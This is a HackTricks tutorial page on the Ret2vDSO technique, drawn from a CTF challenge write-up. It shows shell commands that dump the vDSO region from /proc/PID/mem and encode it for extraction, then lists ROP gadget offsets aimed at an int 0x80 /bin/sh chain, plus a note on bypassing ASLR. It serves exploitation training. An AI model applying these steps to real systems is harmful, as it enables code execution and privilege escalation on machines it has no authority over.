Ret2vDSO - HackTricks

# Ret2vDSO

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

There might be gadgets in the vDSO region, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.

Following the example from https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ it's possible to see how it was possible to dump the vdso section and move it to the host with:

    # Find addresses
    cat /proc/76/maps
    08048000-08049000 r--p 00000000 00:02 317                                /target
    08049000-0804a000 r-xp 00001000 00:02 317                                /target
    0804a000-0804b000 rw-p 00002000 00:02 317                                /target
    f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
    f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
    fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

    # Dump it
    dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
    8192+0 records in
    8192+0 records out
    8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

    # Compress and leak it
    gzip vdso
    base64 vdso.gz

    # Decompress and check of gadgets
    echo '<base64-payload>' | base64 -d | gzip -d - > vdso
    file vdso
    ROPgadget --binary vdso | grep 'int 0x80'

ROP gadgets found:

    vdso_addr = 0xf7ffc000

    int_0x80_xor_eax_eax_ret_addr = 0x8049010
    bin_sh_addr = 0x804a800

    # 0x0000057a : pop edx ; pop ecx ; ret
    pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

    # 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

    # 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
    or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

    # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
    pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

> [!CAUTION] Note therefore how it might be possible to bypass ASLR abusing the vdso if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

### ARM64

After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) except a way to call a SROP. Check more info int eh example from the page:

SROP - ARM64

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.